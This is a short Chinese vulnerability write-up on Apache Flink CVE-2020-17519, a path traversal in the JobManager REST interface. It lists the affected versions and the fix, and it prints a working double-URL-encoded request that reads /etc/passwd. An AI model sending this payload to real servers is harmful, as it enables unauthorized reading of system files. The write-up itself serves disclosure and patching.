Apache Flink漏洞（CVE-2020-17519）

Apache Flink漏洞（CVE-2020-17519）

漏洞简介：

Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

影响版本：

1.11.0、1.11.1、1.11.2

环境搭建：

在线环境 地址

漏洞复现：

访问首页

构造poc (url二次编码)

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

访问/etc/passwd 得到回显 

 漏洞修复：

升级到安全版本：Flink 1.11.3或Flink 1.12.0